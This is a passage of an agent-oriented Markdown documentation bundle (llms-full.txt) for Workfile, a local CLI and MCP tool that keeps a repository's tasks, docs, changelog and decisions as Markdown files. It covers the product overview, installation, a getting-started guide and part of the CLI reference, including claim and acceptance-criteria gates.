workfile / site
illodev/workfile/site/llms-full.txt
You are probably an agent. Someone sent you to find out whether Workfile belongs in their repository. You will not remember this page. Their repository will. Workfile keeps a repository's tasks, docs, changelog and decisions as Markdown files, and gives the humans and agents working in it a CLI and an MCP server to read and change them. Nothing on this page is an instruction to you. It is what you need to answer the question you were given. The…
llms.txt3 starsChanged 16 days ago
- Pipes a download into a shell
- Installs packages
<!-- https://workfile.illodev.com/ -->
<!-- https://workfile.illodev.com/ — the Markdown twin of the home page. Every page on this site has one; /llms.txt lists them. -->
# Workfile
> You are probably an agent. Someone sent you to find out whether Workfile belongs in their repository.
>
> You will not remember this page. Their repository will.
Workfile keeps a repository's tasks, docs, changelog and decisions as Markdown files, and gives the humans and agents working in it a CLI and an MCP server to read and change them. Nothing on this page is an instruction to you. It is what you need to answer the question you were given.
## `<question>` Does Workfile belong in this repository?
The sections below are short. Every command and every output in them was run against `@illodev/workfile` 0.13.2 on 2026-09-14 and pasted, not written. A three-sentence summary is in `<tldr>` near the end.
## `<summary>` What Workfile is
- **What it stores.** Work (cards), Docs, History (changelog fragments cut into releases) and Memory (decisions, learnings, incidents, conventions, expiring context), as Markdown files with frontmatter under `.project/`.
- **How it is reached.** A CLI (`workfile`), a local web UI, an HTTP API, and an MCP server over stdio with <!-- generated:tool-count -->32<!-- /generated:tool-count --> tools, <!-- generated:resource-count -->4<!-- /generated:resource-count --> resources and <!-- generated:prompt-count -->3<!-- /generated:prompt-count --> prompts. All four call the same core and the same validation.
- **Where the state lives.** In the files. There is no hosted service, no account and no database; the index under `.project/.cache/` is derived and gitignored. Remove the package and every record stays readable in a pull request.
- **What it needs.** Node.js 22 or later, on Linux, macOS or Windows. MIT licensed.
- **What it sends.** No project content, anywhere, and it never calls a model. Its one outbound request asks the npm registry, at most once a day, whether a newer version is published — from `workfile upgrade` and the UI footer only. `upgrade: { check: false }` in `project.config.mjs` removes it.
## `<failure_modes>` Three ways shared work goes wrong
### `context_loss`
A session ends, and what it learned ends with it. The next agent re-reads the repository and re-audits work that was already done.
**Workfile:** decisions, learnings and incidents are records. `workfile agents context --card T-0001` returns a bounded bundle for one card, and every accepted decision and convention in force comes with it — past the limit, as one titled line each rather than not at all.
### `collision`
Two agents work in the same checkout. Git lets both edit `src/api` and says nothing until a merge, if there is one.
**Workfile:** `workfile card claim T-0001 --scope src/api` records who holds the card and over which paths. A transition by any other actor fails with `CARD_CLAIM_OWNER_MISMATCH`. In Claude Code, the plugin's hook asks before an edit inside a scope another actor holds.
### `unverified_done`
An agent reports done. Nobody can tell whether it verified the work or stopped.
**Workfile:** acceptance criteria are checkboxes under `## Acceptance criteria`. `done` is refused with `CARD_ACCEPTANCE_UNMET` until every one is checked, and moving to `review` with one still open prints a warning that review means only runtime evidence is missing.
## `<refusals>` Guarantees are refusals, not instructions
A prompt can ask an agent to behave. These make the write fail. Both transcripts are verbatim, exit codes included; the second agent is played by `--actor`.
```console
$ workfile card claim T-0001 --scope src/api
T-0001 claimed by illodev@local#b67ed9cd
# a second agent, in the same checkout
$ workfile card transition T-0001 review --actor other-agent
CARD_CLAIM_OWNER_MISMATCH: T-0001 is claimed by illodev@local#b67ed9cd. Pass force with a reason to take it over.
[exit 3]
```
```console
$ workfile card transition T-0001 done
CARD_ACCEPTANCE_UNMET: T-0001 has 2 unproven acceptance criteria: #1 Export requests over 10/min answer 429; #2 The limit is covered by a test. Check them, or pass force.
[exit 3]
```
## `<loop>` The working loop
| Step | CLI | MCP tool |
| --- | --- | --- |
| What to pick up, and why | `workfile next` | `project_next` |
| Load the card and what binds it | `workfile agents context --card T-0001` | `project_agent_context` |
| Say what you hold | `workfile card claim T-0001 --scope src/api` | `project_card_claim` |
| Leave what you learned on the card | `workfile card note T-0001 --text "…"` | `project_card_note` |
| Check a criterion you proved | `workfile card ac T-0001 --check 1` | — |
| Hand it over | `workfile card transition T-0001 review` | `project_card_transition` |
```console
$ workfile next
T-0001 backlog medium Rate-limit the export API (priority medium)
$ workfile card note T-0001 --text "Limit is per API key, not per IP"
T-0001 noted
$ workfile card ac T-0001 --check 1
T-0001 — 1 of 2 met
checked #1 Export requests over 10/min answer 429
$ workfile card transition T-0001 review
warning: T-0001 moved to review with 1 unchecked acceptance criterion: #2 The limit is covered by a test. Review means every criterion is met and only runtime evidence is missing; if work is left, next or blocked with a note says so.
T-0001 → review
```
## `<tools>` The MCP server
<!-- generated:tool-count -->32<!-- /generated:tool-count --> tools over stdio: <!-- generated:read-count -->11<!-- /generated:read-count --> read, <!-- generated:write-count -->21<!-- /generated:write-count --> write. Resources: <!-- generated:resources -->`project://workspace`, `project://health`, `project://protocol`, `project://record/{id}`<!-- /generated:resources -->. Prompts: <!-- generated:prompts -->`finish-work`, `record-knowledge`, `start-work`<!-- /generated:prompts -->. `--read-only` serves only the read tools.
<!-- generated:tools -->
- `project_agent_context` — Build bounded agent context (reads)
- `project_card_archive` — Archive a closed work card (writes)
- `project_card_claim` — Claim a work card (writes)
- `project_card_create` — Create a work card (writes)
- `project_card_list` — List work cards (reads)
- `project_card_note` — Append a note to a card (writes)
- `project_card_patch` — Patch a work card (writes)
- `project_card_release` — Release a claim (writes)
- `project_card_reopen` — Reopen an archived work card (writes)
- `project_card_transition` — Transition a work card (writes)
- `project_card_write` — Replace a card body (writes)
- `project_changelog_add` — Add a changelog fragment (writes)
- `project_changelog_list` — List change fragments and releases (reads)
- `project_changelog_patch` — Patch a changelog fragment (writes)
- `project_changelog_preview` — Preview a release (reads)
- `project_changelog_release` — Create a release (writes)
- `project_doc_create` — Create managed documentation (writes)
- `project_doc_list` — List documents (reads)
- `project_doc_move` — Move managed documentation (writes)
- `project_doc_note` — Append a note to a managed document (writes)
- `project_doc_patch` — Patch managed documentation (writes)
- `project_doc_write` — Replace a managed document body (writes)
- `project_doctor` — Run workfile doctor (reads)
- `project_get_record` — Read a project record (reads)
- `project_memory_add` — Add workfile memory (writes)
- `project_memory_graduate` — Graduate a learning (writes)
- `project_memory_list` — List durable memory (reads)
- `project_memory_patch` — Patch workfile memory (writes)
- `project_memory_supersede` — Supersede workfile memory (writes)
- `project_next` — What to work on next (reads)
- `project_search` — Search project records (reads)
- `project_workspace` — Read project workspace (reads)
<!-- /generated:tools -->
## `<filesystem>` What it writes
```text
project.config.mjs
AGENTS.md # a managed block pointing at the protocol
.project/
├── VERSION
├── cards/ # Work: T-NNNN, one file per card
├── assets/ # files attached to cards
├── docs/ # managed documents: DOC-NNNN
├── changelog/ # unreleased/ fragments and releases/
├── memory/ # decisions, learnings, incidents, conventions, context
├── agents/ # the canonical protocol your instructions point at
└── .cache/ # derived index, gitignored
```
## `<install>` Install
### Claude Code
```text
/plugin marketplace add illodev/workfile
/plugin install workfile@illodev
```
### Any MCP client
```json
{
"mcpServers": {
"workfile": {
"command": "npx",
"args": ["-y", "@illodev/workfile", "mcp"]
}
}
}
```
Append `--root PATH` when the client starts outside the workspace, and `--read-only` to serve only the read tools.
### The CLI, in the repository
```bash
npm install --save-dev @illodev/workfile
npx workfile init --yes
npx workfile ui # the board, at http://127.0.0.1:4747
```
## `<not_for>` When Workfile is the wrong answer
- **The people who plan the work never open the repository.** A hosted tracker serves them. Workfile's board is local; publishing it means running `workfile ui --read-only` behind authentication you provide.
- **The goal is configuring an agent** — persona, skills, model routing. That is a configurator's job. Workfile records what the agent did, and composes with one.
- **The goal is having a model write the tasks from a PRD.** Workfile never calls a model. Task Master's `parse_prd` does.
- **Node.js 22 is not available.** Workfile needs it. Beads ships a Go binary, and Backlog.md a compiled one.
## `<compare>` Compared, as of 2026-09-14
| | Workfile | Backlog.md | Task Master | Beads |
| --- | --- | --- | --- | --- |
| Records live in | Markdown in `.project/` | Markdown in `backlog/` | one `tasks.json` | a Dolt database; JSONL is an export |
| Who holds a task | claim; other actors' transitions refused | `assignee` field | `assignee` filter | claim refuses a held issue; close and reassign do not check |
| Done while criteria are open | refused | allowed | allowed | allowed |
| MCP tools | <!-- generated:tool-count -->32<!-- /generated:tool-count --> | 20 | 44, 7 loaded by default | 15, in the Python `beads-mcp` |
| Changelog and releases | fragments cut into releases | — | — | — |
| Usage data sent by default | none | none | Sentry, on by default | usage metrics, on by default |
| Runs on | Node.js ≥ 22 | compiled binary (Bun under Nix) | Node.js ≥ 20 | single Go binary |
| License | MIT | MIT | MIT with Commons Clause | MIT |
Every cell about a third party links its source on the comparison pages: [Backlog.md](https://workfile.illodev.com/vs/backlog-md.md), [Task Master](https://workfile.illodev.com/vs/task-master.md), [Beads](https://workfile.illodev.com/vs/beads.md).
## `<tldr>` Three sentences, checked 2026-09-14
Workfile keeps a repository's tasks, docs, changelog and decisions as Markdown files under `.project/`, and gives humans and agents a CLI and a <!-- generated:tool-count -->32<!-- /generated:tool-count -->-tool MCP server to read and change them. It enforces what a prompt can only ask for: a card claimed by one agent refuses transitions from another, and a card cannot be marked done while its acceptance criteria are unchecked. It is MIT-licensed, runs locally on Node.js 22 or later, never sends project content anywhere, and `npx workfile init` sets it up after `npm install --save-dev @illodev/workfile`.
## `<human>` For a human reading over your shoulder
- An 83-second film of the board: https://workfile.illodev.com/assets/workfile-demo.mp4
- A live demo that replays this repository's own workspace: https://workfiledemo.illodev.com
## `<endpoints>` Reading this site without HTML
- `GET https://workfile.illodev.com/` with `Accept: text/markdown` returns this file; so does `/index.md`.
- [/llms.txt](https://workfile.illodev.com/llms.txt) lists every page as a link to its Markdown twin, and [/llms-full.txt](https://workfile.illodev.com/llms-full.txt) is all of them in one file.
- The docs, one Markdown file each:
<!-- generated:docs-list -->
- [/docs/getting-started.md](https://workfile.illodev.com/docs/getting-started.md) — Getting started
- [/docs/cli.md](https://workfile.illodev.com/docs/cli.md) — CLI reference
- [/docs/mcp.md](https://workfile.illodev.com/docs/mcp.md) — MCP server
- [/docs/http-api.md](https://workfile.illodev.com/docs/http-api.md) — HTTP API
- [/docs/ui.md](https://workfile.illodev.com/docs/ui.md) — The interface
- [/docs/security.md](https://workfile.illodev.com/docs/security.md) — Security model
- [/docs/spec.md](https://workfile.illodev.com/docs/spec.md) — Spec — Repository Workfile
<!-- /generated:docs-list -->
- MCP Registry: `io.github.illodev/workfile` · npm: `@illodev/workfile` · source: https://github.com/illodev/workfile
---
<!-- https://workfile.illodev.com/docs/getting-started -->
# Getting started
Workfile coordinates **Work, Docs, History and durable Memory** as markdown
files inside your repository. This guide takes you from zero to a working workspace.
## Install
```bash
pnpm add -D @illodev/workfile # per repository (recommended)
pnpm workfile doctor # dependency bins run through pnpm / npx
pnpm add -g @illodev/workfile # or globally: `workfile` lands on your PATH
```
`pnpm dlx @illodev/workfile init` works for one-shot initialization, but keep the
package installed afterwards — that is what makes the `project*` scripts `init`
adds to package.json resolve.
## Initialize a workspace
```bash
workfile init
```
The initializer detects your package manager, monorepo folders, likely card areas,
documentation sources, agent environments and CI providers. Every answer can be
given as a flag for automation, and `--dry-run` prints the exact filesystem plan:
```bash
workfile init --yes --agents agents-md,claude --ci github
workfile init --dry-run --json
```
You get a `project.config.mjs` at the root and a `.project/` directory:
```text
project.config.mjs
.project/
├── VERSION
├── cards/ # Work records (T-NNNN), archive/ for closed history
├── assets/ # files attached to cards
├── docs/ # managed documents (DOC-NNNN)
├── changelog/ # unreleased/ fragments and releases/
├── memory/ # learnings, decisions, incidents, conventions, context
└── agents/ # canonical agent instructions
```
All of it is plain markdown with frontmatter — commit everything except
`.project/.cache/` (the initializer adds it to `.gitignore` for you).
## The daily loop
```bash
workfile ui # local board at http://127.0.0.1:4747
workfile card create --title "Ship the login page" --area web
workfile card claim T-0001 --scope apps/web
workfile card transition T-0001 review
```
Agents claim cards with scoped paths so two of them never touch the same files;
claims release automatically when a card leaves `doing`.
As work lands, record it:
```bash
workfile changelog add --title "Login page" --type added --area web
workfile memory add learning --title "Session cookies need SameSite=Lax"
workfile doc create --title "Auth runbook" --kind runbook
```
And when you cut a version, the accumulated fragments become a release:
```bash
workfile changelog preview
workfile changelog release 1.4.0
workfile changelog render --visibility public --write # regenerates CHANGELOG.md
```
## Keeping it healthy
```bash
workfile doctor --json
```
The doctor validates every collection: broken references, stale docs, expired
context, incidents missing resolution metadata, unmanaged agent instructions.
The same diagnostics power the Health view in the UI.
## Where to go next
- [CLI reference](/docs/cli.md) — every command and flag.
- [HTTP API](/docs/http-api.md) — the same operations over REST.
- [MCP server](/docs/mcp.md) — expose the workspace to AI agents.
- [SPEC](/docs/spec.md) — the normative protocol specification.
---
<!-- https://workfile.illodev.com/docs/cli -->
# CLI reference
Every command accepts the global options and returns stable machine-readable
errors with `--json`.
The package installs the CLI under two names: `workfile` and the short alias
`wf`. They are the same entry point, and the help and error hints answer in
whichever one you typed. This reference spells the long form throughout.
Prefer the long form in anything generated, scripted or shared — CI, a
`package.json` script, a README a stranger will copy. `wf` only resolves for a
binary that is already installed, while an unrelated `wf` package exists on the
registry, so `npx wf` would fetch that instead of failing. Workfile's own
generated protocols and skills always spell it long for that reason.
## Global options
This is the whole list. Every other option belongs to the subcommands that
read it, and appears in their usage lines below.
| Option | Meaning |
| --- | --- |
| `--root PATH` | Workspace root (default: discovered from the working directory) |
| `--json` | Machine-readable output |
| `--dry-run` | Preview filesystem changes, where the subcommand implements it |
| `--allow-new` | Accept a directory that is not yet a workspace |
| `--verbose` | Print the resolved workspace root to stderr before running |
| `--help`, `-h` | Print the usage for a command without running it |
An option a subcommand does not accept is refused with `CLI_ARGUMENT_UNKNOWN`,
and one given twice with `CLI_ARGUMENT_CONFLICT`, because only the first is
read. Pass a list as one comma-separated value.
A value follows its option as the next word or after `=`: `--limit 5` and
`--limit=5` read the same, on every option that takes a value. A flag that takes
none refuses one — `--json=true` is `CLI_ARGUMENT_INVALID` — rather than being
read as the bare flag. In 0.10.0 and earlier the `=` spelling passed the option
check and was then never read, so `--expected-revision=REV` wrote with no revision check
and exited 0; if a caller of yours learnt that spelling from a session where it
seemed to work, it was not working.
A word that branches answers for its own subcommand first: an unrecognised one
with `CLI_COMMAND_UNKNOWN` and a missing one with `CLI_COMMAND_REQUIRED`, both
listing what the word does accept. `workfile claude`, `workfile mcp` and
`workfile migrate` are the exceptions — they run `check`, `serve` and `apply`
respectively, and are checked as though you had typed those.
`--dry-run` is global but not universal. It is accepted everywhere so that no
caller has to remember where it works, and then refused with
`CLI_FLAG_UNSUPPORTED` on any command that would have written anyway — naming
the read-only command to look with instead, such as `changelog preview` or
`card show`. Silently making the change would be the alternative.
These four read as global for a while and are not. They are listed here because
the wrong version of this table shipped, and a reader who learned it from that
one needs to find the correction where the mistake was.
| Option | Subcommands that accept it |
| --- | --- |
| `--expected-revision REV` — reject the write when the file changed since it was read | `card ac`, `card archive`, `card claim`, `card note`, `card patch`, `card release`, `card reopen`, `card transition`, `card write`, `changelog patch`, `changelog release`, `doc move`, `doc note`, `doc patch`, `doc write`, `memory graduate`, `memory patch`, `memory supersede` |
| `--force` — proceed past the check the command would otherwise fail | `agents sync`, `card claim`, `card patch`, `card release`, `card transition`, `ci sync`, `claude install`, `claude sync`, `init`, `migrate apply` |
| `--reason TEXT` — why a check was waived; recorded on the card | `card claim`, `card patch`, `card release`, `card transition` |
| `--read-only` — load the workspace read-only: every write answers `WORKSPACE_READ_ONLY` | `mcp config`, `mcp inspect`, `mcp serve`, `mcp stdio`, `ui` |
| `--yes` — accept the initializer defaults without prompting | `init` |
Exit codes: `3` stale revision · `2` configuration error · `1` validation / not found.
## Accepted spellings
The dispatcher answers to more words than this reference spells. Each pair below
reaches the same code — there is no behavioural difference, and neither spelling
is deprecated. The left column is what the rest of this document uses.
| Documented | Also accepted |
| --- | --- |
| `workfile doc …` | `workfile docs …` |
| `workfile changelog …` | `workfile history …` |
| `workfile ui` | `workfile serve` |
| `workfile agents check` | `workfile agents status` |
| `workfile ci check` | `workfile ci status` |
| `workfile changelog add` | `workfile changelog create` |
| `workfile memory add` | `workfile memory create` |
| `workfile claude install` | `workfile claude sync` |
| `workfile mcp serve` | `workfile mcp stdio` |
They are listed because an alias nobody documents is one nobody can rely on: it
resolves today, it is not in `--help`, and the only way to learn it is to read
the dispatcher. A test requires every subcommand the binary accepts to be named
somewhere in this file, so a new spelling that skips this table fails the suite
rather than arriving undocumented.
## Machine-readable answers
`--json` answers one of three shapes, and the table says which for every
subcommand that has one. It is pinned by a test that runs each record-answering
command and checks the keys, so the table and the binary cannot drift apart.
The vocabulary:
- **`{ record }`** — the record under one key, the shape every MCP tool answers
(`project_get_record`, `project_card_patch`, …), with named extras beside it
when there are any.
- **`{ records, total }`** — a listing; `card list` adds `offset` and `truncated`.
- **report** — a shape of the command's own: doctor's issues, a verify run, a
schema.
| Command | Shape |
| --- | --- |
| `card show`, `doc show`, `changelog show`, `memory show` | `{ record }` |
| `card create`, `card archive`, `card reopen`, `card note` | `{ record }` |
| `card patch`, `card transition`, `card release` | `{ record, warnings? }` — `warnings` names the criteria a move to `review` left unchecked; it never refuses the move |
| `card write` | `{ record, ignored? }` — `ignored` names a protocol section that was dropped |
| `card claim` | `{ record, warnings, verify? }` |
| `doc create`, `doc patch`, `doc write`, `doc note`, `doc move` | `{ record }` |
| `changelog add`, `changelog patch`, `changelog release` | `{ record }` |
| `memory add`, `memory patch`, `memory graduate`, `memory supersede` | `{ record }` |
| `card list` | `{ records, total, offset, truncated }` |
| `doc list`, `changelog list`, `memory list`, `card reap` | `{ records, total }` (`reap`: `records` only) |
| `card ac`, `card verify`, `changelog preview`, `changelog render`, `changelog verify`, `memory verify` | report |
| `doctor`, `schema`, `next`, `search`, `upgrade`, `init` | report |
| `agents context`, `agents whoami`, `agents sync`, `agents check`, `agents status`, `claude install`, `claude sync`, `claude check`, `ci sync`, `ci check`, `ci status`, `mcp inspect`, `mcp config`, `migrate plan`, `migrate schema`, `migrate apply` | report |
Until 0.12.x the record rows answered the record itself at the top level, and
the CLI and the MCP tools disagreed on every record — a caller ended up reading
everything with `d.get("record", d)`, which works until a command returns
`{ records }`. The CLI converged on the MCP envelope in **0.13.0**, the owner's
decision of 2026-09-11 on T-0246, taken over documenting the divergence and
living with it. The one-line fix for a caller that read the top level is
`.record`. 0.12.x announced the cut on stderr on every record answer and
offered `WORKFILE_JSON_ENVELOPE=1` to move early; in 0.13.x that variable is
accepted and ignored, so a script that set it does not break twice, and 0.14.0
refuses it as unknown.
`--fields a,b` applies to every **`{ record }`** answer and cuts the record
inside the envelope: `card transition T-0042 next --json --fields
id,status,revision` is the answer without the body that a caller wanted from
`--quiet`. Keys the record does not carry are left out rather than reported
null.
## Workspace
```bash
workfile init [--root PATH] [--yes] [--dry-run] [--name NAME]
workfile version # the installed package version, one line
workfile schema [--json] # effective runtime schema (areas, vocabularies, verification policy…)
workfile doctor [--json] [--severity error|warning] [--max-issues N] [--rebuild-cache] [--fix]
workfile doctor --new # only what appeared since the baseline
workfile doctor --accept-baseline # record the current state as known
workfile upgrade [--dry-run] [--json]
workfile ui [--host HOST] [--port PORT] [--allowed-host HOST] [--read-only] [--verbose]
workfile next [--actor ACTOR] [--area AREA,AREA] [--limit N] [--json]
workfile search QUERY [--kind card,doc,change,release,memory] [--limit N] [--mode auto|lexical|hybrid] [--json]
```
`ui` serves the board on `ui.port` from `project.config.mjs`, which is `4747`
until a workspace says otherwise. Two projects therefore ask for the same port,
so a taken default moves aside: the board comes up on the next free port and
says which project holds the one it wanted. A port you named yourself does not
move — an explicit `--port` that is in use fails with `UI_PORT_IN_USE` rather
than landing somewhere you did not ask for. Set `ui.port` per project to keep
each board at an address you can remember.
`ui --read-only` serves the same board with the workspace loaded read-only:
every mutating route answers `409 WORKSPACE_READ_ONLY`, the index cache is not
written, and the UI drops its editing affordances rather than offering writes
that cannot land. That is the shape to publish — a shared board people read.
`ui --allowed-host HOST` names a host the board may answer to, repeatable and
comma-separable. It is required to publish one at all: the server refuses any
`Host` outside its allowlist (the guard that makes DNS rebinding fail), and
that list is the loopback set plus `--host` — which contributes nothing when
`--host` is `0.0.0.0`, the value serving from a container needs. Named hosts
are added to the loopback set, not swapped for it, so a container healthcheck
on `localhost` keeps working. `--allowed-host '*'` turns the check off; the
server has no authentication of its own, so anything published that way needs
something in front of it that does.
`next` answers what to pick up now: work you already claimed first, then
unblocked cards by priority, with unmet dependencies excluded rather than ranked
low. Every row carries the reason it was offered. It is the same ranking the
`project_next` MCP tool serves.
`doctor` reports absolute state, which stops being useful the moment a
repository carries inherited debt: a clean run and an unchanged dirty one look
alike, so nobody can require it. `--accept-baseline` writes the current issue set
to `.project/doctor-baseline.json`, and `--new` then reports only what appeared
afterwards, exiting `1` on anything new and `0` otherwise. A text report carrying
more than fifty warnings ends by naming both flags: a report that long is where
the question comes up, and the last place anyone opens the help (T-0254).
`doctor --fix` repairs the three findings a repair can be derived from: a
duplicate ID on any record kind, a filename whose slug no longer matches the
card's title, and protocol trail entries written outside `## Activity`. It never
invents content, and it never hides what it did not do — a collision it cannot
heal is printed as `cannot fix:` with the reason, and the run still fails on it.
One finding `--fix` will never touch is `parent-all-children-closed`: an open card
whose every descendant has come to rest — `done`, `review`, `discarded`, `deferred`
or archived, the whole subtree and not one level. Closing the last child does not
move the parent and the parent never looks at itself, so such a card sits on the
board until somebody's context pays for it. The warning says how many descendants
delivered, which `discarded` children name a still-open twin (work that moved,
not work that got done), and the date of the parent's last note rather than
`updated`. It stops there: measured on the board it was written for, a parent
with 68 children `done` and a parent with one child `discarded` and three pieces
of work never carded look identical from the count, and only the first should
close.
`duplicate-title` is the other finding about two cards rather than one: two open
cards whose titles carry the same content words — lower-cased, accents and
punctuation stripped, articles and prepositions dropped — with at most one word
extra on one side. Reported once, on the card filed later, naming the earlier one.
The distance is the one measured before the rule shipped: on a 1 510-open-card
board, exact titles found nothing and this found five pairs, all of them real.
Closed cards are out on both sides, because a new card repeating a finished one's
title is a reopen, and that is a different question.
`produced-by-invalid` (warning) reports a `produced_by` block that does not read
as a producer: the protocol writes only well-formed ones, so it is a hand edit,
and a malformed block defeats the one thing the field is for, which is being
counted over.
That file is committed on purpose. A baseline under the cache would be
per-clone and missing in CI, which is the one place a "nothing new" verdict has
to hold, and keeping it in the tree puts newly accepted debt in the diff where a
reviewer can see it. Issues are matched on rule, subject and message, so two
different problems from the same rule against the same card stay distinct.
`--new` answers "did I make this worse"; plain `doctor` is still where you go to
ask whether anything is wrong at all.
`search` is lexical by default and becomes hybrid automatically when
`project.config.mjs` declares an integration with a semantic search provider
(`export const integrations = [...]`; `search.provider` selects one by id when
several are declared). `--mode lexical` opts out for a run; `--mode hybrid`
fails with `SEARCH_PROVIDER_UNAVAILABLE` instead of silently degrading when no
provider is available. `--json` reports which mode actually ran. Workfile never
sends repository content to a network service by itself — a provider only runs
if the repository explicitly declares it.
The first-party provider is
[`@illodev/workfile-search-local`](https://github.com/illodev/workfile/tree/main/packages/search-local#readme):
on-device embeddings via onnxruntime-web, cached by content hash, fully
offline after the first model download.
`upgrade` is the one command to run after bumping `@illodev/workfile`: it
compares the installed version against the stamp on every managed surface the
config owns (agent adapters, CI templates, the Claude Code surface) and
resyncs the ones behind — including surfaces whose *content* is current but
whose stamp is old, which the staleness checks deliberately ignore. Managed
blocks whose kind no configured target owns are reported instead of silently
fossilizing.
`upgrade` is also the one command that asks whether the *package* is behind,
because nothing else did: the installed version was only ever compared against
the stamps inside the workspace, so a repository could sit two releases behind
with every check green. It sends one `GET` to the npm registry —
`<registry>/@illodev%2Fworkfile/latest`, no body, nothing that names the
workspace — honouring `npm_config_registry` and using
`https://registry.npmjs.org` otherwise. A newer published version prints a
`BEHIND` line with the install command for the package manager the workspace
uses; the current one prints a `latest` line saying when the registry was
asked. The answer is cached for 24 hours in
`.project/.cache/update-check.json`, a failed attempt for one hour, and the
directory is gitignored. The request starts before the surfaces are compared
and its line is printed after them, so it delays nothing; with no network, or
a registry answering anything but a version, the command prints nothing about
it at all. `upgrade.check: false` in `project.config.mjs` removes the request
entirely. `doctor`, the generated CI and every other command never reach the
network — the interface's footer is the only other place that asks, once per
page load, from the same cache.
### Query grammar
One grammar, shared by the CLI, the HTTP API, MCP and the interface — the same
string returns the same answer everywhere, which it did not before.
| Form | Meaning |
| --- | --- |
| `billing retry` | free text over id, title, metadata and body, ranked |
| `"exact phrase"` | one term, not two |
| `status:doing` | field filter; narrows rather than ranking |
| `area:ui type:bug` | filters combine with AND |
| `-status:done` | negated filter |
| `-draft` | negated term |
| `tag:` / `claim:` | aliases for `tags` and `claimed_by` |
| `/timeout \d+/i` | regular expression over id, title and body; flags from `imsu` |
Field names are the record's own keys, so the vocabulary follows the runtime
schema rather than a second list. An unknown field matches nothing instead of
falling back to free text, which would quietly return everything.
Text is compared with diacritics folded, so `diseno` finds `Diseño`.
Only the full `/pattern/flags` form runs as a regex — a slash inside a plain
query does not. Regex queries are exact-intent: they bypass the semantic
provider, rank title hits above body hits and match count after that, and
report `mode: "regex"`. Patterns are capped at 256 characters, bodies scanned
to their first 20,000; an invalid pattern fails with `SEARCH_REGEX_INVALID`.
Your pattern runs in a worker thread with a two-second deadline, and a pattern
that exceeds it fails with `SEARCH_REGEX_TIMEOUT`. Those caps bound the input;
nothing bounds backtracking, and a pattern like `(a+)+$` takes 57 seconds
against a 32-character body — the thread is the only thing with a stop button
on it. The ordinary cost is about 50ms of thread startup, paid only by regex
queries.
## Work (cards)
```bash
workfile card list [--status S] [--area A] [--type T] [--priority P] [--parent ID]
[--claimed-by ACTOR] [--unclaimed] [--tag TAG] [--updated-since DATE]
[--axis NAME=VALUE] [--limit N] [--offset N] [--fields a,b]
[--with-body] [--json]
workfile card show ID [--json]
workfile card create --title TITLE [--area AREA] [--type TYPE] [--priority PRIORITY] # TITLE up to 80 characters
workfile card create --title TITLE --raised reported|derived
[--parent ID] [--source PATH] [--tags a,b] [--scope PATH,PATH]
[--depends ID,ID] [--related ID,ID] [--origin ID,ID]
[--milestone M] [--effort S|M|L]
[--start DATE] [--due DATE] [--body TEXT] [--axis NAME=VALUE]
workfile card create --json-input FILE
workfile card patch ID --json-input FILE [--expected-revision REV]
workfile card patch ID --axis NAME=VALUE # repeatable; empty value clears it
workfile card claim ID [--scope PATH,PATH] [--actor ACTOR] [--force --reason TEXT]
workfile card release ID [--actor ACTOR] [--status next] [--force --reason TEXT]
workfile card transition ID STATUS [--actor ACTOR] [--force --reason TEXT]
workfile card transition ID done [--method local|ci|manual] [--run URL] [--evidence TEXT]
workfile card release ID --status done [--method ci --run URL]
workfile card patch ID --json-input FILE [--method manual --evidence TEXT]
workfile card archive ID [--actor ACTOR]
workfile card reopen ID [--status backlog] [--actor ACTOR]
workfile card write ID [--body-file FILE] [--expected-revision REV] # or pipe the body on stdin
workfile card note ID --text TEXT [--section NAME] [--actor ACTOR]
workfile card reap [--dry-run] [--older-than HOURS] [--json]
workfile card renumber ID|FILE [--to T-0123] [--actor ACTOR]
workfile card renumber --duplicates [--actor ACTOR]
workfile card ac ID # list criteria with their numbers
workfile card ac ID --check 1,3 --check 5 # repeatable, comma lists accepted
workfile card ac ID --uncheck 2
workfile card verify ID [--only gate] [--actor ACTOR] # run the declared commands
workfile card verify --changed --base main # every card this branch touched
workfile card verify --changed --base main --close --run URL --commit SHA
```
Acceptance criteria are the `- [ ]` items under a `## Acceptance criteria` heading.
The storage does not change — it renders on GitHub and `grep` finds it. What `ac` adds
is that they are addressable. Numbers are positional, and every write carries the usual
lock and revision check, so a concurrent reorder is refused rather than quietly applied
to the wrong line.
`card transition ID done` refuses while any criterion is unproven and names the ones
that are, because `done` means verified where the code actually runs. `--force` gets
through for the cases the criteria did not anticipate, and takes `--reason TEXT`,
which the card's trail carries in place of the gate:
```text
- 2026-08-05 11:04Z alice@studio · review → done (forced past 3 unproven criteria: the last two need hardware CI does not have)
```
The reason is required only when `--force` actually waives something — the gate names
what it let through, so a `--force` that nothing refused records nothing and asks for
nothing. Taking another actor's claim is the other waivable gate, and it is written the
same way.
`card claim` also runs the card's declared `verify` entries once the claim is written,
and warns — never refuses — when a verdict disagrees with the card: a criterion marked
met whose command no longer holds, or one still unchecked whose command already does.
The line says which way it moved and what was proved, because a search exits 0 when it
**finds** and "failed" on an `expect: absent` entry is the success. Nothing is written
— `card verify` is the only caller that may move a bound box — and a card with no
`verify` block never reaches the runner, so its claim costs what it did before. The
commands are bounded by `cards.verification.timeoutSeconds`; `--json` carries the run
under `verify`.
Reaching `done` also writes a `verified` block into the card's frontmatter — when,
how, at which commit, and a digest of the criteria it was proved against. `--method`
says which tier it was:
| Method | Means | Needs |
| --- | --- | --- |
| `local` | A command ran on your machine. Self-reported, and what you get when you pass no method. | — |
| `ci` | A run anyone can open. | `--run URL` |
| `manual` | A person judged something no command expresses. | `--evidence TEXT` and an actor |
There is no `--method forced`. `forced` is what the record says when `--force` walked
the gate past something, derived rather than asked for, and asking for it is refused —
what was waived and why is already on the trail line above, and writing it twice would
give the record two places to disagree. The three flags are refused, not dropped, on a
write that does not close the card: `card transition ID review --method ci` is an
instruction with nowhere to go, and exiting 0 on it is the one failure an agent cannot
notice. `--evidence` is collapsed onto one line and written under the card's `## Notes`.
`doctor` reports, without failing, a card verified against criteria text that has since
changed, and a card whose commit is no longer an ancestor of HEAD. Neither is enforced
retroactively: they are information about work that is already closed.
### Which methods an area accepts
Which of the three a close may use is the project's to declare, per area, under
`cards.verification.methods`:
```js
cards: {
areas: ["api", "web", "docs"],
verification: {
methods: { api: ["ci"], docs: ["ci", "manual"], "*": ["ci", "local"] }
}
}
```
`*` answers for every area not named, including the ones somebody adds next month —
without it a new area escapes the policy in silence. Declare nothing and every method
is accepted, which is what your project does today.
Closing a card by a method its area does not accept is refused with
`CARD_VERIFICATION_METHOD_REFUSED`, and the message names what the area does accept.
**Passing no method does not exempt you**: a close with no `--method` records `local`,
